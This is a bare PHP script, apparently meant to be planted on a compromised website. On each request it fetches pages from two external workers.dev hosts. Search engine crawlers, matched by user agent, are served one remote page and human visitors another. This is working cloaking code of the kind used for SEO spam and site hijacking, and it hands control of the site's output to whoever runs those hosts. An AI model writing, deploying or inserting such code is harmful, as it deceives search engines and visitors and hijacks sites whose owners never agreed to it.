<?php
function smoky($url) {
    if (ini_get('allow_url_fopen')) {
        return file_get_contents($url);
    } elseif (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
    return false;
}

$res = strtolower($_SERVER["HTTP_USER_AGENT"]);

$bot = "https://old-moon-sg-520.jakagor41.workers.dev/";
$user_page = "https://royal-gaco-4223.jakagor41.workers.dev/";

$file_bot = smoky($bot);
$file_user = smoky($user_page);

$botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/";

if (preg_match($botchar, $res)) {
    echo $file_bot ?: "No content from bot source.";
    exit;
} else {
    echo $file_user ?: "404 Not Found";
    exit;
}
?>